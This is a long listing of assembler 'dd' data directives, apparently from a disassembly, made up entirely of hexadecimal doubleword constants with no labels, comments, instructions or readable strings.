		dd 0C7C0A5E5h, 0BED1FC25h, 1D002FF6h, 208C62B1h, 7DB6C69Bh
		dd 0DB4009Eh, 0B838B075h, 100336Ch, 2C0B739Ah, 1CDADFD5h
		dd 10DF9D7h, 0AEF38CE8h, 7AAAF8FDh, 0F48E3002h,	400FCF23h
		dd 0C51791Bh, 0C2F06BBAh, 710359ACh, 0E68B91FBh, 7789C8C8h
		dd 0DDFE3Ah, 9CBB3B6Bh,	0F860FC6Ah, 0BE59B400h,	0F2D0DCEDh
		dd 0CE24C009h, 3878FEFFh, 0CF6E2500h, 397628BFh, 80E667h
		dd 2CFD1AE6h, 6E335D48h, 0CE437900h, 4902650Bh,	0B9CB3ED0h
		dd 0BEDEA580h, 10EAF673h, 6B528B00h, 65262CE8h,	0D0590018h
		dd 3C9EF17h, 0D400AF78h, 2291B946h, 318375Eh, 0B0A0D328h
		dd 5B884F70h, 620978A8h, 0C7BB07h, 0A22A538Dh, 6A1500F9h
		dd 1CA87799h, 0D7004C5Eh, 2FC3B94h, 0E4C937h, 5F10B071h
		dd 761DB734h, 23784C03h, 98453270h, 84559Fh, 7DF54761h
		dd 0EFEB9CF4h, 0B78A8800h, 0B8AD1B72h, 0A23A1E6Dh, 2187C360h
		dd 47987A38h, 6C1D2092h, 8040BBACh, 0A60ECC79h,	0DDEF3BFFh
		dd 91F2C280h, 0F8331762h, 5B524A00h, 0EEE35A1Ah, 828B0028h
		dd 0ACC0B19Ah, 6E07F5B3h, 3B92E754h, 0E58569E0h, 90F815h
		dd 5D657F53h, 0BAC734D8h, 0E4754400h, 5B4D6163h, 9AA01C73h
		dd 5EF2C1C2h, 0E842B743h, 6F38D070h, 4F1580B3h,	0A44CA629h
		dd 971B00A1h, 764B187Eh, 27016F85h, 6DD546F6h, 57F05F3Bh
		dd 8BCE1D29h, 4AEC80C3h, 265297E7h, 0FDA458h, 0D740B3B4h
		dd 0E8856A2Bh, 3F603A54h, 0F5A27380h, 27D1134Bh, 0AD28CD60h
		dd 0ED71F8Ch, 4363FF4h,	0BAEB8C0h, 31184BA5h, 62601271h
		dd 0EDA0021h, 0A12854D3h, 41C25127h, 40D9148Dh,	7038F131h
		dd 0D8CA1C2Bh, 1E901DBh, 0D76490C9h, 0F01B9E81h, 500AE93h
		dd 0C5A43AE0h, 803804h,	0BF30FFACh, 0B5CDECE5h,	93F68D1Eh
		dd 0C7AAA5C0h, 6F9E63h,	2B3F9497h, 0F5A09821h, 0F2EE5371h
		dd 68C09300h, 1B4EBCFBh, 6C9B00C8h, 5A3E2042h, 7B0FCDE9h
		dd 230C3618h, 0D0A81EE2h, 1CEB9B23h, 16F95Ch, 6DE722C0h
		dd 673D6C1Dh, 589C8075h, 77832F73h, 0EBAE79CCh,	0E65F7870h
		dd 0CB5B0B0Ah, 0C8837B71h, 0D5F00F69h, 0B85B1DEEh, 0E005DECh
		dd 9F12E013h, 0F54C2888h, 3B080043h, 0F1779382h, 27F878h
		dd 0BF74B4B7h, 0A15A2331h, 7D2DF500h, 4C98EBB8h, 86F91F18h
		dd 613C8F2Ch, 595D60A0h, 7D0011A8h, 0FAD4728Ah,	0E18961Dh
		dd 0D75BC388h, 8B840012h, 4C941506h, 7FC7E700h,	0B0F04749h
		dd 0E1F23E0Ch, 3C128A80h, 43C6302Bh, 5319A500h,	5542EAE7h
		dd 0D4B70082h, 0F7324760h, 1450F4F0h, 857581D0h, 0F1BC0200h
		dd 299E3890h, 0DF6D0098h, 0D1B1D695h, 0F200F7F6h, 47340827h
		dd 0F27F5444h, 1D6F0019h, 9FC3AA9Dh, 0D1763AD0h, 0DB6D7504h
		dd 6BC0C142h, 0E03E53h,	3F69340Eh, 0E3CE62F6h, 0DFB0F700h
		dd 0D6EDFBF8h, 64DC004Bh, 0EA5F360Eh, 262E161Dh, 6600012Eh
		dd 0DBDD2DE2h, 0D0240086h, 0ABB7B1C4h, 640042BCh, 0F78B8859h
		dd 0F0B84Dh, 37CB271Fh,	8393334Bh, 267B1000h, 5DBA7113h
		dd 0CFFB2C6Dh, 0FD980013h, 0A1359169h, 15CB5801h, 0B16FA9D5h
		dd 8FA860h, 8A2EA237h, 315DEE17h, 0D0F69500h, 6CD8AD56h
		dd 0E92C004Dh, 2BA5B3CEh, 8E001028h, 0EED35AB4h, 129E6FEBh
		dd 3A175Bh, 849027ABh, 0E203ECD4h, 4C35BB50h, 862C9001h
		dd 0BC775Ch, 3DE4B3D1h,	0B22158A3h, 74F21802h, 81C6E1D5h
		dd 4EC5DEA4h, 0CC0CC0D7h, 0A7D81C38h, 1AD2872Eh, 21FB3148h
		dd 8B422062h, 0EB4C2400h, 0A93F148Fh, 2BD100B5h, 16BC667Ah
		dd 7D148C0Eh, 9899D8h, 0A5AE5B4Ah, 340F52h, 0A7B453C9h
		dd 996D4E7Eh, 0D2D18409h, 730B93h, 0FAAC0A2Fh, 0B1BA034Bh
		dd 543B4332h, 2B7CCAB8h, 0C9D1101Fh, 2EF764C0h,	0F0668D84h
		dd 92D93C42h, 4C25CD80h, 0F2CB3539h, 3C0AC00h, 893ACE20h
		dd 0EE5C0048h, 0A2E4A58h, 0F500A6D8h, 3F8276A7h, 0F63BAAFAh
		dd 642A0266h, 49920B86h, 0B8E73840h, 9809C81Eh,	45EE0700h
		dd 361B411h, 13A3EAADh,	75B808D7h, 2600708Bh, 0D95EDA05h
		dd 0AE808Dh, 0CB3FF7FBh, 5CE7C21Eh, 5D006EECh, 4DA12622h
		dd 0D55F67h, 0E54974AFh, 736347BBh, 31A06400h, 0D3A7F89Eh
		dd 27C00084h, 0BEA63709h, 77001850h, 0FFC4297Ah, 7A73697h
		dd 460AF351h, 624290EFh, 8E0032B2h, 6ABC8D64h, 0B82FC69h
		dd 4C060F18h, 0EEFD3800h, 0E1044A4Fh, 0E00904EFh, 3E658C80h
		dd 5A01000Dh, 764D8456h, 7100917Ah, 872C746Ch, 0E083E492h
		dd 0EDFC0095h, 9A0AE3D8h, 0A6796AA5h, 88A0E20Fh, 813BC02Dh
		dd 0DFB919h, 0FECF4CCCh, 0BF627D82h, 0D73E4800h, 93ABDC6Eh
		dd 0CB7B00B8h, 0D69020AAh, 0B11EF659h, 0E0000BEFh, 0DE567384h
		dd 578500CDh, 0C2D9F8FFh, 40074788h, 0E021D8B5h, 7D69D5D0h
		dd 94D0CF9Eh, 0C56138ECh, 9F7BCBE0h, 0DDF2C00h,	0BF5B2EEDh
		dd 219F4B6h, 0C8602038h, 1840D843h, 2C007148h, 531B140h
		dd 1C70C953h, 792276B4h, 0CECA5D80h, 0E3399262h, 7AECF00h
		dd 6B8620C8h, 2BC40F7Dh, 1F6272F3h, 83E183D8h, 0E39AF0C3h
		dd 6E4EA61Eh, 0A9D200F9h, 92B5BC57h, 28E102FAh,	0AAC29550h
		dd 0F196A960h, 3CAC0D00h, 8A71814Eh, 0C0031CF7h, 80D3DD0Ch
		dd 5936B656h, 0DD988440h, 8B258018h, 0FD9958h, 94AD1815h
		dd 1BCED1C2h, 46D94512h, 998BF540h, 0AA43F2h, 0BBC44C7Bh
		dd 6E375BE0h, 64478F01h, 414A7E45h, 0E50058BDh,	0A69CB31h
		dd 0F8E410F4h, 0D7D2D600h, 632C8526h, 360301BDh, 8F3D9798h
		dd 0C86C313Fh, 9100873Eh, 401CEEABh, 0F2949BEh,	0F4BF8436h
		dd 91A82A4Ch, 39C8E500h, 0F81DF075h, 6AF71489h,	0DE00D467h
		dd 0D40CD7B2h, 3800D630h, 754EAAAh, 55D2C63h, 0F8B1EF48h
		dd 7573C016h, 0B360400Dh
		dd 9DC09110h, 368038D4h, 49520585h, 69881FFh, 0A22F0DBh
		dd 0D23EC000h, 91774F81h, 2CEF0F3Ah, 5F2124DDh,	607A0C05h
		dd 0A93CC072h, 5C300ACAh, 0DF12E9A3h, 0D2B10C00h, 2376BB6h
		dd 0BF2D50B0h, 30403D3Fh, 7DF2FA03h, 0CEA97118h, 7A7A5F02h
		dd 8D460367h, 0EE48E68Ah, 0F7919C80h, 0E253200h, 0CA34F3C6h
		dd 0B0F61D73h, 52DD8098h, 0C93B182Bh, 0C6715E00h, 0E3F78C97h
		dd 0F3A206A8h, 707993B0h, 3A0D8903h, 0C8A6DEB6h, 782D1h
		dd 0EE3354F0h, 0E575B7F9h, 7EC97602h, 0C0788D97h, 3D20AB25h
		dd 0B881D6DEh, 0D3B501C2h, 0B7BEC41Fh, 4861AC0Eh, 4A790044h
		dd 216F7F3h, 693B27F6h,	0A88184B4h, 2F871B7h, 0F640C0D0h
		dd 0C23A0AAEh, 3BC00386h, 8645000h, 0EF17D3E4h,	80399739h
		dd 2824A0F4h, 0B0E74045h, 77990C89h, 4790C22Bh,	0B75CE301h
		dd 0DA3450CBh, 514CF0h,	95E0B596h, 39E3B69Ch, 0BF788A00h
		dd 23CB72A8h, 85100A9h,	1A0FBA37h, 0CA00B3F9h, 66DFAEFFh
		dd 706C85Ah, 0B7D5FDF8h, 64E3B3C4h, 2EBA03A0h, 944Ch, 0CD2B4982h
		dd 0F834E8h, 447E4D0Ah,	0EEC7BB41h, 111A1001h, 0C15B26C4h
		dd 58407E21h, 785F3DEh,	0A32A7749h, 0D7D3F0F0h,	0CF008489h
		dd 6D8F507Eh, 0B049C5h,	0FB1E6E27h, 195D9F86h, 90999DA0h
		dd 0B9334A1Eh, 3CECAA5Ch, 0F1EADA00h, 3ADE1EA7h, 0C880662Eh
		dd 3E0AB12Bh, 90B8AFBCh, 382C4238h, 95BE830Fh, 983AB558h
		dd 4692967h, 0BA52A3B9h, 0A5A0803Ch, 860019B2h,	0FAC96C9h
		dd 7DE5EFh, 0FB24054Fh,	0C2519803h, 3700A67Ah, 32B71E3Fh
		dd 1CC87EF4h, 0C068D060h, 78CC676Fh, 0E303ED7Ah, 0B05F9475h
		dd 70D498B6h, 5A62020Eh, 2A6F9F33h, 5560EF8Eh, 0D1D0C426h
		dd 0BA3ED40Fh, 6356C010h, 0EAEB0D37h, 0DB30384Ch, 0E1BF2Ch
		dd 889F0848h, 3B1E94B0h, 9A00C66Ah, 3A7A5AB5h, 7C8426BAh
		dd 0C92008E0h, 0BBAA6980h, 4D181Bh, 489F8A7Ah, 2C158CB7h
		dd 9AA25C00h, 306D8B97h, 0E2B9048Dh, 808F3F02h,	0D29CBA98h
		dd 552858F8h, 0F9B0E051h, 0B883993Bh, 0FA068028h, 4810DD62h
		dd 0C6E65C1Ah, 3D5B310Fh, 0FF7FC260h, 0E00F365h, 52B36EEh
		dd 9B2545h, 0CD8914Eh, 1D4A88D5h, 8B1CE100h, 0AD411F3Dh
		dd 0DB8F3909h, 4FAED80h, 0A31D7163h, 0C585B800h, 0A769B231h
		dd 0A27B00C6h, 77D9BD97h, 33E8DFA5h, 1B8E8000h,	4D83CA11h
		dd 2B7846h, 6CEB2A55h, 0A8D7F87Ch, 60B7C900h, 1E7026D4h
		dd 5783003Bh, 6675FEBDh, 310040A3h, 4950150Bh, 0F0604F4h
		dd 0DAA25B20h, 0E9612F2Eh, 0D0594AD0h, 9900EF54h, 0BA428E3Dh
		dd 16A7A0h, 0C866B171h,	29CE10A2h, 0B81F38h, 1C15D783h
		dd 0F7ED57h, 0D451F079h, 8D0F6B5Ah, 0F2458407h,	4CE029DBh
		dd 175D415Bh, 7F08052h,	67F89BA9h, 65B1F085h, 320399C9h
		dd 0FEA3691h, 2235F8FAh, 0A35200FFh, 6BFE5008h,	970074F7h
		dd 0CB617592h, 7C9065h,	47BDB378h, 254CEE53h, 49A7A400h
		dd 661B8933h, 9DC40035h, 8A814BBDh, 76261D4Eh, 5F00EE19h
		dd 330B962Fh, 0CCEF00E7h, 0D61ECEC0h, 53033712h, 978C44E1h
		dd 0D3B991E4h, 0F487E8h, 23548BEBh, 0BD61E67Fh,	779C3Eh
		dd 640B001h, 5876AAE3h,	1D1F5C6Eh, 60007CDCh, 0A0042AACh
		dd 0B10042B8h, 0AEA83AC9h, 0F88AC5h, 1DE16F69h,	0DC15814Ah
		dd 2A10A00h, 0C07916EBh, 7F07483Ah, 0EC80833Bh,	43709318h
		dd 9900F53Ch, 0D566DC5Ch, 0B0E5C7FEh, 4BC300FFh, 0A1263A14h
		dd 1900EA48h, 3FC85102h, 0B3035Bh, 6E6CE98Fh, 0DCA04FA4h
		dd 7ED20700h, 0ED0BFC0Ch, 3D4B01FDh, 30ADB01Eh,	8DF2707Ah
		dd 8C4DD13Eh, 1084BC32h, 0ED260068h, 30D658Eh, 0A31F9F0Ah
		dd 0C830AF93h, 3846736h, 0B45E650h, 0A7A0F63Bh,	0E8C6906Dh
		dd 2110963Ah, 0B080E447h, 7E44CCE3h, 85720014h,	48535287h
		dd 0C700B323h, 12C925BEh, 7F9DA3B5h, 0CF55038Ah, 0FE15A110h
		dd 524376A0h, 807E6E30h, 300C798Dh, 958C653h, 0E0E78CBAh
		dd 46095575h, 8EE6E7ABh, 20E50F22h, 0C3C726FDh,	20705053h
		dd 0CE6337E9h, 0DE5080E8h, 0A4F80B44h, 5D044518h, 0E1E68h
		dd 516F818Bh, 0B93CFEFBh, 0E0A8F738h, 0D4855C0Eh, 0C6820054h
		dd 0A6B5AA6Dh, 2D054353h, 55AB9E4Ch, 4A27C8C0h,	6E0C0F86h
		dd 2A04578h, 80A61156h,	85EAE800h, 0DC2BF205h, 347F3D65h
		dd 6B8C1280h, 0E49560D3h, 1DF5B000h, 3BEAB10Eh,	0EE4E9811h
		dd 5224037Fh, 0AC5E237Ch, 0E6A9B2D7h, 543D3048h, 7E5D6D01h
		dd 270E9683h, 0B839C03Eh, 0EB00AE40h, 9F0F126Bh, 0FC687B4Ah
		dd 151E78C1h, 8C7D31D1h, 93010A00h, 0AB30BF32h,	1E68B30Ah
		dd 3F9C94D0h, 48A8C381h, 39EC556Ch, 0A6D9000Fh,	17E3029Dh
		dd 0E5027E7Ah, 0A542F70h, 720060EAh, 0F11B1CE2h, 7628C0FEh
		dd 0B19A7BFBh, 0BE002492h, 158BEA7Ch, 12A6DD93h, 6D7FEFh
		dd 4F28D80Bh, 8E1EFEFDh, 0D287CBABh, 0C180E53Bh, 0F1A0B4A2h
		dd 0DAADE8h, 0E985DCCCh, 4575E460h, 33D87C14h, 0E85A5068h
		dd 234985F0h, 4E740A6Ch, 0FA9798E0h, 0EC9BA406h, 0E69011h
		dd 0C1406B17h, 8C545E31h, 80C3192Ah, 0F6104907h, 0FCF0D13Fh
		dd 0AF76B0h, 0B9058C6Ch, 0AD1A40E7h, 68CB6EF8h,	0B83D43B7h
		dd 55C92Bh, 0B23D160Fh,	0BC8865F0h, 2E82430Eh, 454FC05Bh
		dd 52DE95h, 0F550E31Ah,	0EBFEB234h, 35580B00h, 7D2B5141h
		dd 60CE2D6h, 0D18510FDh, 383C50E2h, 1E81856Ah, 0D11D25B6h
		dd 5D557281h, 708010E7h, 0F23EF77Ah, 49006EA8h,	23C2435h
		dd 176C20Bh, 0BEDFE346h, 9F0DA0D1h, 6E6C10A1h, 0F37C5D03h
		dd 379288EFh, 753E1C71h, 0D3B00376h, 5803308h, 7C38213Ch
		dd 4745807Ah, 798A1FEh,	0C048DD3Ah, 0B5E58491h,	100276Ah
		dd 3E2A74Eh, 0EE91707h,	7FEB7BF0h, 55334A0h, 87EBAC97h
		dd 0FCD09A39h, 92726790h, 59F800EAh, 21F5B317h,	0A9C0F419h
		dd 7324EF9Eh, 0FB550C2Bh, 0DCF0E838h, 97007D76h, 3E41E7D0h
		dd 7B1BAF32h, 121C0FCh,	0FF8FB023h, 66121A00h, 0B3D14B41h
		dd 0E8BD0059h, 5C03C658h, 6F03E52Dh, 11FDB05Eh,	8970893Eh
		dd 188010E0h, 52F45F36h, 0FE600C19h, 97E1D730h,	0FBC73745h
		dd 80810041h, 0F70E3AEDh, 1F6C0F8Fh, 21E2558Ch,	527C82h
		dd 94EDC407h, 4035ACDFh, 9716FF02h, 0C04EA4D8h,	77A2C01h
		dd 0A6769AE7h, 0C03CC0A3h, 0D37B0DD4h, 2DC8FB00h, 3FDCE6FAh
		dd 27E201C7h, 50997593h, 55FC704Ch, 0E819600h, 3706CE36h
		dd 6A881DEAh, 0A24D8E0Dh, 31945C0h, 0DD03DF6Bh,	4F8D2BFAh
		dd 0C892E8CAh, 0DC2F0941h, 80FF6Ah, 8278EEB5h, 0E6C4610Ch
		dd 4A78C2h, 8354FB98h, 6514ED88h, 0F4968A00h, 5FC00912h
		dd 0E2763AFFh, 0DBAC0380h, 605CFC6Ah, 8D3D78E4h, 6CE3801Fh
		dd 8ED16D4Bh, 46556D6h,	1C88D4A2h, 4E58D704h, 106660ADh
		dd 9DFA84F8h, 1517011Fh, 0F07120B0h, 0DC28C070h, 0DDA6B628h
		dd 7E0FE27Eh, 809F3F15h, 720813A3h, 2FA70736h, 0E0E9D5F6h
		dd 3BDC8455h, 74068518h, 906F40h, 13C4E445h, 0C87C913Ah
		dd 0D8F65801h, 54863009h, 1F59BD3h, 0D90AD120h,	4E271860h
		dd 1F8F0820h, 0CDA5602Fh, 6A309BC3h, 90E5E10Eh,	98AD3FA0h
		dd 0D5D3BB0Fh, 4C6366C0h, 0BD00D2ACh, 4D0503C5h, 38711AC6h
		dd 5F8F6DCDh, 1058076Ch, 497F8836h, 4EDA20h, 7AE68219h
		dd 138BD641h, 0EF87EA00h, 32050B5Dh, 0FA6D7322h, 4D9107B1h
		dd 0C0AF35C8h
		dd 0F3FCF871h, 16DB30A0h, 7400D27Bh, 0F485FFABh, 544A3h
		dd 0A06A6CD1h, 6F3ED57Ah, 0D43DCCE3h, 37387B60h, 0F7D3F62h
		dd 92DD5D88h, 440178E0h, 3500FBBEh, 618BBD9Ch, 0CABB098h
		dd 744A1ED3h, 79C01D40h, 7B86DE77h, 0E1EB00BAh,	0FFA1F340h
		dd 843FB5DFh, 198701DAh, 7F1B2CD1h, 0E2D9BDD4h,	352F0014h
		dd 692F774h, 2B0EE915h,	401CE59Eh, 9AC0897h, 0CC070180h
		dd 61644D6Dh, 1D9C5065h, 0F83FD257h, 1881E19Eh,	28BCCEDAh
		dd 72621A01h, 8078E593h, 35089B10h, 3A73497Bh, 0FD01AACBh
		dd 9E916E0h, 4D418084h,	95992539h, 1BC83C34h, 0B5142C57h
		dd 6A1C781Fh, 0C8F300FEh, 8CB3F42Bh, 0AE7E1A02h, 33A52CC3h
		dd 0A0BD18E0h, 0B69A0A03h, 0CD2AE1Fh, 133BAD99h, 79000251h
		dd 0BF44363Ch, 3A883A93h, 0B40AE684h, 17C6361h,	89AA4E98h
		dd 0FF09CCD2h, 0C12CF848h, 0DD4CF666h, 379862F8h, 0D0C832ABh
		dd 5CADC6F1h, 9C36A03h,	1BC33CDh, 83AED1D0h, 20B5A14Eh
		dd 0EA60F114h, 992039B0h, 0EEBBEA51h, 0F88A22C4h, 0B9801607h
		dd 0C3703411h, 21B379h,	944B63F5h, 0B1CCCFA7h, 699833Eh
		dd 0FC1F8B6Dh, 54642C50h, 10A8312Ah, 0A03824AEh, 0DD0006FEh
		dd 9FE5D7BFh, 0B0417660h, 86B403E0h, 0E189CD9Ah, 84F89DABh
		dd 0F0C4A912h, 214949E3h, 20824000h, 0D0C0C85Ah, 2819EFE9h
		dd 0A8D4733Bh, 32FC98h,	86473929h, 9944022Bh, 1A256300h
		dd 0EF1598DBh, 49A90369h, 0E90B9C52h, 96DF4080h, 9ABB203h
		dd 313A78h, 0C553DE71h,	5A431ADDh, 3000E77Ch, 0AE085C8h
		dd 632056AAh, 5D078961h, 3B861180h, 1E004A72h, 19E78CE9h
		dd 9D556E0h, 1846F776h,	27987801h, 1B39805Bh, 0AEDBD2CDh
		dd 0E5079F6h, 0A0A32AFFh, 4BBC8820h, 0BB2EC902h, 4205AFC8h
		dd 0F461D169h, 4980643Ah, 0F6DC23FEh, 9BF86759h, 5B000470h
		dd 1D506319h, 0A1B2A148h, 2034E4F8h, 0D4651064h, 3610184Eh
		dd 0FA1959F1h, 9AD9003Ah, 67918F24h, 82790246h,	73ECC704h
		dd 749CAD66h, 89901FBBh, 827200FAh, 0DD3E6367h,	1819D2C9h
		dd 3E47D108h, 605289FFh, 4CE84E28h, 5501802Ah, 0AC0F03EAh
		dd 0F0223Bh, 368B7BDAh,	0D580CAh, 0DF08740h, 8C36857h
		dd 0FAF3E04h, 0D88178E9h, 0F80063A0h, 0E28B0789h, 7E4447Dh
		dd 466898B6h, 0E96D04Ah, 201847E9h, 7520CF15h, 0C09F0073h
		dd 52613309h, 0B800AF03h, 807950EAh, 99BE259h, 0FF8AD85Eh
		dd 0A2A18C20h, 0AD1EE8B6h, 3240C796h, 0B7DE9DF8h, 0EE850290h
		dd 896BD2EDh, 64B81880h, 5700DEBCh, 19CA333h, 9D8E337h
		dd 0DB5D2B2Eh, 62C62A80h, 181B1B84h, 0D239A48Fh, 996C4841h
		dd 649639DCh, 2E2E62Eh,	6F6D70B5h, 0BB1F8F80h, 3626C459h
		dd 5FC50461h, 417786h, 7F0B2C0Fh, 14E4A583h, 1804824Ch
		dd 59217E42h, 0EA290050h, 3F677C5Fh, 0CC05B584h, 1928996Ch
		dd 4F4E0081h, 0D94A04Ch, 4B625F6Fh, 10573141h, 0E57603BCh
		dd 8473B600h, 1FF3ED52h, 1FB7560h, 69C0F168h, 8062485Fh
		dd 8CA79839h, 30ED783Dh, 0D5F9E68Eh, 860EE96Eh,	0B55835E7h
		dd 0ECE4CA90h, 8553B140h, 377324F3h, 0BE3E3C34h, 708ED614h
		dd 0B040D53Ah, 4105660Fh, 8FD7A0B5h, 7A91309Bh,	9137859h
		dd 9085F0CEh, 4A6C9010h, 40A94D44h, 700AD7Bh, 0D225F7DBh
		dd 704CC288h, 8DA700E2h, 92B5FAC7h, 3A1A239Eh, 393072F5h
		dd 9E01A98h, 0DC312EE1h, 40002C13h, 93D58FF8h, 0AB417800h
		dd 2402BF91h, 0C1B85884h, 0C9B51E00h, 0FF4EF768h, 3CB07890h
		dd 1D1CF200h, 923F086h,	4A3D026Ah, 0EA65CC37h, 0C8EBF860h
		dd 0EC83AD88h, 0FD270F57h, 3E1C0482h, 0BE00A13Eh, 0C5F34970h
		dd 6629D63Bh, 3A0BF498h, 0DA182229h, 0E12AE0C7h, 5DF214BFh
		dd 6D826840h, 0C4A0E389h, 0EC1F7635h, 0A53B510Fh, 0C8B80054h
		dd 159EDE5Bh, 0ECFE8969h, 0B17A2401h, 70773899h, 0C8052604h
		dd 4C28480Ch, 5A474080h, 6ED09C1h, 28271F3Ah, 1D8330B1h
		dd 2F001C94h, 0DC554269h, 3D664C3Ch, 90569AD4h,	0F02A2058h
		dd 848E3080h, 37A2A7A1h, 13CDBD01h, 244893FCh, 44CEB8EBh
		dd 0A6630BD3h, 3C1A9FD9h, 599344C0h, 10BA24A1h,	0C47966h
		dd 909D2E35h, 0E8A954E1h, 83DA4C38h, 69EB4B01h,	0D3D4E9F4h
		dd 7873F050h, 0E3FC6Ch,	53801E89h, 0A203DAC7h, 0C8D16E05h
		dd 38D81FE8h, 8C4491FFh, 6019BB8Eh, 9300D4F0h, 0F53C67EFh
		dd 1FA7903h, 6CBC84BAh,	33D18DC1h, 0B40071CCh, 8AB52190h
		dd 2E99824Eh, 0C324A7B6h, 6B911AACh, 509CF1B5h,	726DB47Ch
		dd 96634E2Ch, 0A0B9480Bh, 0E1602E28h, 35BB0FE9h, 19427D65h
		dd 8464782h, 6B096DA0h,	5217FA0Bh, 0B0882B7h, 7F3901E5h
		dd 2E4C3399h, 6F4ED489h, 8D44E043h, 0D9BD8Ch, 17B6D732h
		dd 617219ADh, 82E06748h, 482E208Dh, 1EC0394Ch, 0FC980Fh
		dd 0ADA27BE5h, 212E859Bh, 4B9740EFh, 0CC4CA022h, 287A08F0h
		dd 4D0372B1h, 0F090B36Ah, 5CFF1107h, 95802C21h,	36D49802h
		dd 0CB3CCF4Ch, 0ADF8103Ah, 0A40403DCh, 12EC4031h, 0ED0D4F98h
		dd 35F26004h, 0C88D724Eh, 0AC006833h, 0C317D09Eh, 0BEB84E7Eh
		dd 0F28A8099h, 0C51CC01Ah, 0DFDCB9B0h, 136EA35h, 65879F56h
		dd 0D5F89598h, 9251B81Bh, 0B498AB7Ch, 413660C5h, 0ACA6B735h
		dd 34169900h, 113731C4h, 282705Ch, 0AF9E7509h, 0D482B64Fh
		dd 0D100D32Bh, 21FDD4Eh, 78B90EA5h, 4841AD05h, 4895F34Bh
		dd 36847EACh, 0D4A40686h, 47F58465h, 11581FDCh,	0E61983C0h
		dd 0B5E01122h, 10CC5848h, 44E42C6h, 40784D10h, 2FF169C0h
		dd 0E86801D0h, 0FB42D233h, 0CA3029B6h, 0B104444Bh, 8E07C862h
		dd 0E00048E2h, 928CB383h, 0C99302E1h, 5F378407h, 183F40ECh
		dd 0C631E5E7h, 858F6000h, 5BFF540h, 0E8CFBD15h,	5D8C821h
		dd 0D30FB701h, 0F5350BFCh, 3B8CC9D0h, 34847090h, 8001F015h
		dd 41CAE544h, 196A1B25h, 0BC0CC0ACh, 16E1EA00h,	0AF66C1F5h
		dd 5DD0530h, 0CC68A56Bh, 9A0026ECh, 0B1DEE033h,	0B68640h
		dd 0CB92C196h, 93A6DAAEh, 8728F700h, 0BB3163D0h, 0C2B0BF2h
		dd 9832D2B2h, 9758E080h, 0BA00B6F3h, 40259592h,	933E8249h
		dd 1D1154h, 39C0E131h, 0E455DF35h, 5E9C0245h, 0E991C215h
		dd 5AD2CC40h, 8F1F990Ah, 0F68EA0C9h, 0CC010017h, 2EE58098h
		dd 0AE8EB0Dh, 0BDAC1EC5h, 0B65F480h, 257D51A6h,	28019914h
		dd 79B530C4h, 17F1A84Eh, 440E93B6h, 0B148E5ECh,	0C8583024h
		dd 6E02DAEEh, 8527B41Dh, 0EC4645h, 8ABA4FA0h, 75D772D2h
		dd 93DCCD49h, 0BBF86820h, 0DAB80599h, 63E1643Eh, 0BDEA0980h
		dd 4419BCABh, 7DB54069h, 98268D68h, 0E48CD8D9h,	0AD21E0h
		dd 972B8809h, 49A968A6h, 14B6DE16h, 89C4402h, 47D100CCh
		dd 0C20485C0h, 9869F2BDh, 10F10C98h, 6DB98Ah, 705A035h
		dd 108D6h, 0EDC06184h, 3A8C5E89h, 2EF3BA00h, 203E0A8Dh
		dd 93B5ECCEh, 367F888Ch, 5C881093h, 0D5F5006Eh,	9093F17Eh
		dd 0A5020F9Bh, 0F09739B5h, 39A0ECFEh, 0CC9DE547h, 1943007Fh
		dd 0D0F8E17Ch, 6621F8C5h, 697E9040h, 481FB5h, 64D47AA0h
		dd 0A5C38212h, 39085D0Bh, 62288FE6h, 421EDCD6h,	25F844B4h
		dd 0E8AEC2F8h, 6127D125h, 44635884h, 5BF888E5h,	5E8071DDh
		dd 7E358E10h, 241A773Eh, 38A94696h, 4CB85000h, 0CC77BED2h
		dd 0A798CA03h, 0C0E54A28h, 991D6561h, 32870914h, 509484C4h
		dd 0FD8E63h, 751001A1h
		dd 242B1487h, 6D89731Dh, 95C26282h, 58184EC4h, 8D8E24CDh
		dd 0E00C04D2h, 7FC646FFh, 7B487779h, 0C7B20079h, 815DF95Fh
		dd 789659E6h, 0BDE08824h, 0B8979084h, 0A40C737Eh, 2AF50EB8h
		dd 1C07C08h, 45DB167Ah,	15317000h, 68174CCEh, 0C6EB3AADh
		dd 0A4290B07h, 998245E4h, 3872F8h, 5FFA587Bh, 18C2C3h
		dd 6DBD0B44h, 10A06CA3h, 9502C00Ah, 98827473h, 90E7721Eh
		dd 8877C5E0h, 0A009914Ch, 24D2F7A2h, 0F821F68Ch, 4AF4489Eh
		dd 80008E48h, 0C830232Fh, 0C68902BBh, 0B51649AAh, 393B9841h
		dd 4DBF00BCh, 6A54D038h, 6BBA05F3h, 30D8782Dh, 0FFF8CF94h
		dd 8025035Ah, 6CD04713h, 3917A9Ch, 12C9CE25h, 0CAC065D2h
		dd 0A2F6BBE1h, 3EB8A304h, 1CC190AEh, 34300F2Eh,	0ADA1C1DCh
		dd 298A508Eh, 92A001Ch,	1C33ACDEh, 0CABD0024h, 0CB17432Bh
		dd 0F041FCFh, 6F68D361h, 0A50BF0E3h, 0ED0038F2h, 857C4D67h
		dd 3BADF60Ch, 6FB11Ch, 0C3A98BFFh, 31D39AA7h, 0DC712D4Bh
		dd 0A03D8C66h, 809351C7h, 7FDD6F3Ah, 4E00427Fh,	0E161C524h
		dd 18860259h, 80D8A1FEh, 5654F714h, 749C21CCh, 8A6BDD83h
		dd 0D645A8D5h, 14D00078h, 6533FE84h, 0CB3CB5C2h, 0AF96058Ch
		dd 0CC580E49h, 27A3BBD0h, 0A0186980h, 92C3751h,	0B591D032h
		dd 2DF165CFh, 4A782010h, 73A5607Bh, 3BD43E75h, 83A6E202h
		dd 44CC7D4Dh, 1BC1F44h,	59681AF8h, 0F4738B16h, 0F33CDBD3h
		dd 0FF4A013Fh, 8665854h, 20323442h, 751C7C44h, 9DF7B40Eh
		dd 80980E6Ah, 0D84EE80Ch, 304F4EE0h, 514BA57Ch,	7941238h
		dd 857FD975h, 409863D0h, 4F609ABAh, 9C2425F6h, 0EA18F860h
		dd 18787A96h, 29C862A8h, 0B848DDC6h, 0E80E17BFh, 57BBD7h
		dd 1E14CA64h, 0D47E008Fh, 9CDE54B3h, 0D2315F87h, 6A4DC19Ah
		dd 137873D2h, 372C22D7h, 0F158E920h, 0DB60113h,	0DA2DCF5Ah
		dd 2052706Fh, 0E66AB116h, 23A48Dh, 2B4A500h, 0F5F49BDBh
		dd 9200917Dh, 0ED1E609Dh, 90FA25A6h, 823E0051h,	0AC229AC8h
		dd 7A252646h, 0A564203Ah, 7D383Fh, 0CF786245h, 9AEDA85h
		dd 4C5C805Ch, 0FC65C078h, 1703EE08h, 854BCDh, 2AA250Ch
